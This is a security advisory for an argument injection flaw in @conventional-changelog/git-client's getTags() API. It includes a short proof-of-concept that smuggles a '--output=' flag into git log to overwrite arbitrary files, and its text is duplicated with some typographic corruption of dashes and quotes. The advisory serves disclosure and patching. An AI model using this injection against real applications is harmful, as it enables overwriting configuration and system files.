Headline
GHSA-vh25-5764-9wcr: @conventional-changelog/git-client has Argument Injection vulnerability
Background on exploitation
This vulnerability manifests with the library’s getTags()
API,
which allows specifying extra parameters passed to the git log
command. In another API by this library - getRawCommits()
there are secure practices taken to ensure that the extra parameter path
is unable to inject an argument by ending the git log
command with the special shell syntax --
.
However, the library does not follow the same practice for getTags()
not attempts to sanitize for user input, validate the given params, or restrcit them to an allow list. Nor does it properly pass command-line flags to the git
binary using the double-dash POSIX characters (--
) to communicate the end of options.
Thus, allowing users to exploit an argument injection vulnerability in Git due to the
--output=
command-line option that results with overwriting arbitrary files.
Exploit
- Install
@conventional-changelog/git-client@1.0.1
or earlier - Prepare a Git directory to be used as source
- Create the following script for the proof-of-concept:
import {
GitClient,
} from "@conventional-changelog/git-client";
async function main() {
const gitDirectory = "/tmp/some-git-directory";
const client = new GitClient(gitDirectory);
const params = ["--output=/tmp/r2d2"];
for await (const tag of client.getTags(params)) {
console.log(tag);
}
}
main();
- Observe new file created on disk at
/tmp/r2d2
Impact
While the scope is only limited to writing a file with input from the git log result, it still allows to specify and overwrite any arbitrary files on disk, such as .env
or as far as critical system configuration at /etc
if the application is running as privileged root
user.
It may be the library’s design choice to expose a generic params
object to allow any consuming users to specify random Git command line arguments, however it could be abused by attackers when developers aren’t aware of the security risks which aren’t communicated. As such, I recommend not ignoring, and either patching this insecure design gap with hardened secure coding practices (like in other APIs mentioned previously) or adding a security disclaimer to this library’s documentation.
Author / Credit
Liran Tal
Background on exploitation
This vulnerability manifests with the library’s getTags() API,
which allows specifying extra parameters passed to the git log command. In another API by this library - getRawCommits() there are secure practices taken to ensure that the extra parameter path is unable to inject an argument by ending the git log command with the special shell syntax --.
However, the library does not follow the same practice for getTags() not attempts to sanitize for user input, validate the given params, or restrcit them to an allow list. Nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (–) to communicate the end of options.
Thus, allowing users to exploit an argument injection vulnerability in Git due to the
–output= command-line option that results with overwriting arbitrary files.
Exploit
- Install @conventional-changelog/git-client@1.0.1 or earlier
- Prepare a Git directory to be used as source
- Create the following script for the proof-of-concept:
import { GitClient, } from "@conventional-changelog/git-client";
async function main() { const gitDirectory = "/tmp/some-git-directory"; const client = new GitClient(gitDirectory);
const params = [“–output=/tmp/r2d2”]; for await (const tag of client.getTags(params)) { console.log(tag); } }
main();
- Observe new file created on disk at /tmp/r2d2
Impact
While the scope is only limited to writing a file with input from the git log result, it still allows to specify and overwrite any arbitrary files on disk, such as .env or as far as critical system configuration at /etc if the application is running as privileged root user.
It may be the library’s design choice to expose a generic params object to allow any consuming users to specify random Git command line arguments, however it could be abused by attackers when developers aren’t aware of the security risks which aren’t communicated. As such, I recommend not ignoring, and either patching this insecure design gap with hardened secure coding practices (like in other APIs mentioned previously) or adding a security disclaimer to this library’s documentation.
Author / Credit
Liran Tal
References
- GHSA-vh25-5764-9wcr
- conventional-changelog/conventional-changelog@d95c9ff